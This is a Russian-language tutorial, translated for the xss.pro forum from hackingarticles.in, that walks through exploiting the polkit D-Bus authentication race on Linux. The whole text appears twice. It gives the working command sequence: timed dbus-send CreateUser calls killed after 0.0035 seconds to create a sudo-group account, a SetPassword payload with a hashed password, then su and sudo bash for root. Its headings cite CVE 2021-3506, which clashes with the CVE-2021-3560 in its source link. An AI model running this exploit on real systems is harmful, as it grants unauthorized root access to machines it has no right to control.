Введение
Согласно Red Hat, "Polkit расшифровывается как PolicyKit — фреймворк, предоставляющий API авторизации, используемый привилегированными программами". Pkexec — это инструмент в PolicyKit или polkit, который позволяет пользователю запускать команду от имени другого пользователя. Эта уязвимость заставляет polkit обходить проверки учетных данных для запросов D-Bus, повышая привилегии отправителя запроса до пользователя root. Он был обнаружен Кевином Бэкхаусом, и про него можно прочитать здесь (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/).
polkit, pkexec и dbus
Polkit и pkexec: PolicyKit также известен как polkit в системах Linux. Это API-интерфейс авторизации, используемый программами для повышения своих разрешений до прав пользователя с повышенными правами и запуска процессов от имени пользователя с повышенными правами (как правило, root). Если пользователь не указан, он пытается запустить эту команду от имени пользователя root. Sudo делает то же самое, позволяя пользователю запускать команды от имени пользователя root, однако с помощью pkexec администраторы могут точно контролировать выполнение определенных программ, определяя для него политики. У Sudo нет ограничений, и пользователь может выполнять любую команду как пользователь с повышенными правами, если он знает пароль. Pkexec также требует некоторых усилий при настройке, но варианты Debian, включая популярную Ubuntu, поставляются с предустановленными polkit и pkexec. Эти правила авторизации для сторонних пакетов определены в файлах JavaScript *.rules, хранящихся в каталоге /usr/share/polkit-1/rules.d/
Правила авторизации для локальной настройки хранятся в /etc/polkit-1/ Здесь вы увидите файлы *.conf. Файлы conf и pkla раньше существовали до *.rules и были созданы для обеспечения обратной совместимости.
dbus: dbus — это система сообщений, позволяющая приложениям общаться друг с другом (известная как IPC или межпроцессное взаимодействие). Она было разработано в рамках проекта freedesktop.org. Базовая команда dbus для отображения списка системных служб выглядит следующим образом:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
В этой демке мы будем использовать dbus для запуска pkexec из командной строки. Подробнее о dbus можно прочитать здесь (https://www.freedesktop.org/wiki/Software/dbus/).
CVE 2021-3506
Polkit — это фоновый процесс, который разрешает авторизацию, но имеет графическую подсказку, с которой должны быть знакомы пользователи Ubuntu. Это выглядит так:
Однако polkit выполняется и в текстовом режиме при использовании сеанса в текстовом режиме, например, при использовании ssh.
ssh pentest@192.168.1.141
pkexec sh
Как видите, pkexec теперь выполняется в CLI.
Теперь вернемся к dbus. Это агент IPC, который может помочь нам отправлять команды или сообщения другим процессам и общаться с ними. Для выполнения операций в dbus настроены различные служебные файлы, которые ссылаются на абсолютные пути исполняемых файлов или демонов, которые должны быть запущены. Для системных процессов dbus хранит служебные файлы в /usr/share/dbus-1/system-services. Здесь вы можете увидеть содержимое имени хоста. Служба, которая выполняет операции по изменению имени хоста в Ubuntu и учетных записях и служба, которая запускает учетную запись-демон для выполнения параметров добавления/изменения пользователя.
Таким образом, dbus можно использовать для выполнения команды и запроса авторизации для нее у polkit.
Каждый интерфейс и метод имеет свой собственный файл конфигурации XML, который показывает, какие параметры dbus отправляет ему во время выполнения. Мы не будем вдаваться в это прямо сейчас.
Кевин Бэкхаус опубликовал эту статью (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about), в которой он обнаружил уязвимость в polkit, которая может быть вызвана запуском команды dbus-send, но уничтожая ее, пока polkit все еще выполняет ее и выполнение не завершено. В этой демке создадим нового пользователя в системе без пароля root. Для этого мы сначала запустим текстовую сессию, используя ssh, а затем команду dbus-send (https://dbus.freedesktop.org/doc/dbus-send.1.html):
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
–system: отправляет сообщение на системную шину
–dest: имя соединения (интерфейса), которое получает сообщение
--type: method_call означает системную функцию с передаваемыми аргументами
--print-reply: распечатывает вывод в удобочитаемом формате
/org/freedesktop/Accounts: эта функция будет использоваться
org.freedesktop.Accounts.CreateUser: Метод, который будет использоваться. Здесь используется метод создания пользователя, который по существу создаст нового пользователя с именем, указанным в строке 1. Строка 2 — это имя ("ignite user"), которое будет видно в системе. int32 — целочисленный аргумент, который принимает метод и указывает тип учетной записи, закодированный как целое число. Вы можете найти xml-файл конфигурации для этого метода здесь (https://cgit.freedesktop.org/accountsservice/tree/data/org.freedesktop.Accounts.xml). Но это не удастся, так как нам требуется аутентификация для создания нового пользователя.
Эксплуатация CVE 2021-3506
Чтобы эксплойт сработал, нам нужно убить команду во время ее выполнения. Для этого нам нужно проверить время, необходимое для выполнения этой команды.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
Как видите, на выполнение этой команды у меня уходит 0,008 секунды. Итак, мне нужно убить мою полезную нагрузку до 0,008 секунды, чтобы она заработала.
Кевин упоминает, что пользователь может быстро нажать CTRL+C, и это должно сработать, но лучше cоставить простой встроенный скрипт bash, чтобы убить процесс за 0,0035 секунды. Обратите внимание, что мы пытались много раз, и время, необходимое для запуска, каждый раз было разным. Таким образом, вам также нужно будет поэкспериментировать с ним и посмотреть, какое время вам подходит, и позволить эксплойту работать правильно.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1 & sleep 0.0035s ; kill $!
Мы запускали одну и ту же команду примерно 5-7 раз, прежде чем наш пользовательский ignite был создан! Более того, ignite является членом группы sudo!
Как это работает? Dbus присваивает каждому соединению уникальный идентификатор. Polkit проверяет этот уникальный идентификатор и обеспечивает авторизацию. Допустим, UID равен 1,87. Поскольку между ними происходит разрыв соединения, polkit распознает UID как 0 и считает запрос исходящим от root. Следовательно, так работает эксплойт.
Мы можем проверить правильность файла /etc/passwd. Кроме того, как вы можете видеть, uid здесь равен 1001.
tail -n 3 /etc/passwd
Затем нам нужно указать пароль с помощью dbus, чтобы мы могли использовать этого вновь созданного пользователя. Нам нужно сгенерировать хешированный пароль, так как dbus-send принимает хешированный пароль в качестве входных данных.
openssl passwd -5 ignite@123
Это сгенерирует хэш в формате SHA-256. Мы также можем использовать любое другое шифрование в соответствии с конфигурацией системы.
Теперь нам нужно передать этот хеш в функцию User.SetPassword, используя dbus под строковым параметром. Полезная нагрузка выглядит так:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7' string:BestHackingTutorials & sleep 0.0035s ; kill $!
Здесь использовался User.SetPassword (https://github.com/freedesktop/accountsservice/blob/master/data/org.freedesktop.Accounts.User.xml). Передаются два параметра. Первая строка — это хешированные учетные данные, а вторая строка: "BestHackingTutorials" — это подсказка для пароля. Это тоже можно изменить.
Нам нужно отправить эту команду 6-7 раз, чтобы она заработала.
su ignite
password: ignite@123
whoami
id
Теперь мы можем войти под этим пользователем.
Вы можете повысить свои привилегии с помощью sudo bash, поскольку пользователь ignite является членом группы sudo.
Заключение
Polkit — это предустановленный пакет в дистрибутивах Linux. Любая система с версией polkit < 0.119 уязвима для повышения привилегий с помощью этого метода. Он имеет высокий ударный рейтинг, а эксплуатация довольно проста, поскольку не требует знаний по разработке эксплойтов. Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/
Согласно Red Hat, "Polkit расшифровывается как PolicyKit — фреймворк, предоставляющий API авторизации, используемый привилегированными программами". Pkexec — это инструмент в PolicyKit или polkit, который позволяет пользователю запускать команду от имени другого пользователя. Эта уязвимость заставляет polkit обходить проверки учетных данных для запросов D-Bus, повышая привилегии отправителя запроса до пользователя root. Он был обнаружен Кевином Бэкхаусом, и про него можно прочитать здесь (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/).
polkit, pkexec и dbus
Polkit и pkexec: PolicyKit также известен как polkit в системах Linux. Это API-интерфейс авторизации, используемый программами для повышения своих разрешений до прав пользователя с повышенными правами и запуска процессов от имени пользователя с повышенными правами (как правило, root). Если пользователь не указан, он пытается запустить эту команду от имени пользователя root. Sudo делает то же самое, позволяя пользователю запускать команды от имени пользователя root, однако с помощью pkexec администраторы могут точно контролировать выполнение определенных программ, определяя для него политики. У Sudo нет ограничений, и пользователь может выполнять любую команду как пользователь с повышенными правами, если он знает пароль. Pkexec также требует некоторых усилий при настройке, но варианты Debian, включая популярную Ubuntu, поставляются с предустановленными polkit и pkexec. Эти правила авторизации для сторонних пакетов определены в файлах JavaScript *.rules, хранящихся в каталоге /usr/share/polkit-1/rules.d/
Правила авторизации для локальной настройки хранятся в /etc/polkit-1/ Здесь вы увидите файлы *.conf. Файлы conf и pkla раньше существовали до *.rules и были созданы для обеспечения обратной совместимости.
dbus: dbus — это система сообщений, позволяющая приложениям общаться друг с другом (известная как IPC или межпроцессное взаимодействие). Она было разработано в рамках проекта freedesktop.org. Базовая команда dbus для отображения списка системных служб выглядит следующим образом:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
В этой демке мы будем использовать dbus для запуска pkexec из командной строки. Подробнее о dbus можно прочитать здесь (https://www.freedesktop.org/wiki/Software/dbus/).
CVE 2021-3506
Polkit — это фоновый процесс, который разрешает авторизацию, но имеет графическую подсказку, с которой должны быть знакомы пользователи Ubuntu. Это выглядит так:
Однако polkit выполняется и в текстовом режиме при использовании сеанса в текстовом режиме, например, при использовании ssh.
ssh pentest@192.168.1.141
pkexec sh
Как видите, pkexec теперь выполняется в CLI.
Теперь вернемся к dbus. Это агент IPC, который может помочь нам отправлять команды или сообщения другим процессам и общаться с ними. Для выполнения операций в dbus настроены различные служебные файлы, которые ссылаются на абсолютные пути исполняемых файлов или демонов, которые должны быть запущены. Для системных процессов dbus хранит служебные файлы в /usr/share/dbus-1/system-services. Здесь вы можете увидеть содержимое имени хоста. Служба, которая выполняет операции по изменению имени хоста в Ubuntu и учетных записях и служба, которая запускает учетную запись-демон для выполнения параметров добавления/изменения пользователя.
Таким образом, dbus можно использовать для выполнения команды и запроса авторизации для нее у polkit.
Каждый интерфейс и метод имеет свой собственный файл конфигурации XML, который показывает, какие параметры dbus отправляет ему во время выполнения. Мы не будем вдаваться в это прямо сейчас.
Кевин Бэкхаус опубликовал эту статью (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about), в которой он обнаружил уязвимость в polkit, которая может быть вызвана запуском команды dbus-send, но уничтожая ее, пока polkit все еще выполняет ее и выполнение не завершено. В этой демке создадим нового пользователя в системе без пароля root. Для этого мы сначала запустим текстовую сессию, используя ssh, а затем команду dbus-send (https://dbus.freedesktop.org/doc/dbus-send.1.html):
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
–system: отправляет сообщение на системную шину
–dest: имя соединения (интерфейса), которое получает сообщение
--type: method_call означает системную функцию с передаваемыми аргументами
--print-reply: распечатывает вывод в удобочитаемом формате
/org/freedesktop/Accounts: эта функция будет использоваться
org.freedesktop.Accounts.CreateUser: Метод, который будет использоваться. Здесь используется метод создания пользователя, который по существу создаст нового пользователя с именем, указанным в строке 1. Строка 2 — это имя ("ignite user"), которое будет видно в системе. int32 — целочисленный аргумент, который принимает метод и указывает тип учетной записи, закодированный как целое число. Вы можете найти xml-файл конфигурации для этого метода здесь (https://cgit.freedesktop.org/accountsservice/tree/data/org.freedesktop.Accounts.xml). Но это не удастся, так как нам требуется аутентификация для создания нового пользователя.
Эксплуатация CVE 2021-3506
Чтобы эксплойт сработал, нам нужно убить команду во время ее выполнения. Для этого нам нужно проверить время, необходимое для выполнения этой команды.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
Как видите, на выполнение этой команды у меня уходит 0,008 секунды. Итак, мне нужно убить мою полезную нагрузку до 0,008 секунды, чтобы она заработала.
Кевин упоминает, что пользователь может быстро нажать CTRL+C, и это должно сработать, но лучше cоставить простой встроенный скрипт bash, чтобы убить процесс за 0,0035 секунды. Обратите внимание, что мы пытались много раз, и время, необходимое для запуска, каждый раз было разным. Таким образом, вам также нужно будет поэкспериментировать с ним и посмотреть, какое время вам подходит, и позволить эксплойту работать правильно.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1 & sleep 0.0035s ; kill $!
Мы запускали одну и ту же команду примерно 5-7 раз, прежде чем наш пользовательский ignite был создан! Более того, ignite является членом группы sudo!
Как это работает? Dbus присваивает каждому соединению уникальный идентификатор. Polkit проверяет этот уникальный идентификатор и обеспечивает авторизацию. Допустим, UID равен 1,87. Поскольку между ними происходит разрыв соединения, polkit распознает UID как 0 и считает запрос исходящим от root. Следовательно, так работает эксплойт.
Мы можем проверить правильность файла /etc/passwd. Кроме того, как вы можете видеть, uid здесь равен 1001.
tail -n 3 /etc/passwd
Затем нам нужно указать пароль с помощью dbus, чтобы мы могли использовать этого вновь созданного пользователя. Нам нужно сгенерировать хешированный пароль, так как dbus-send принимает хешированный пароль в качестве входных данных.
openssl passwd -5 ignite@123
Это сгенерирует хэш в формате SHA-256. Мы также можем использовать любое другое шифрование в соответствии с конфигурацией системы.
Теперь нам нужно передать этот хеш в функцию User.SetPassword, используя dbus под строковым параметром. Полезная нагрузка выглядит так:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7' string:BestHackingTutorials & sleep 0.0035s ; kill $!
Здесь использовался User.SetPassword (https://github.com/freedesktop/accountsservice/blob/master/data/org.freedesktop.Accounts.User.xml). Передаются два параметра. Первая строка — это хешированные учетные данные, а вторая строка: "BestHackingTutorials" — это подсказка для пароля. Это тоже можно изменить.
Нам нужно отправить эту команду 6-7 раз, чтобы она заработала.
su ignite
password: ignite@123
whoami
id
Теперь мы можем войти под этим пользователем.
Вы можете повысить свои привилегии с помощью sudo bash, поскольку пользователь ignite является членом группы sudo.
Заключение
Polkit — это предустановленный пакет в дистрибутивах Linux. Любая система с версией polkit < 0.119 уязвима для повышения привилегий с помощью этого метода. Он имеет высокий ударный рейтинг, а эксплуатация довольно проста, поскольку не требует знаний по разработке эксплойтов. Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/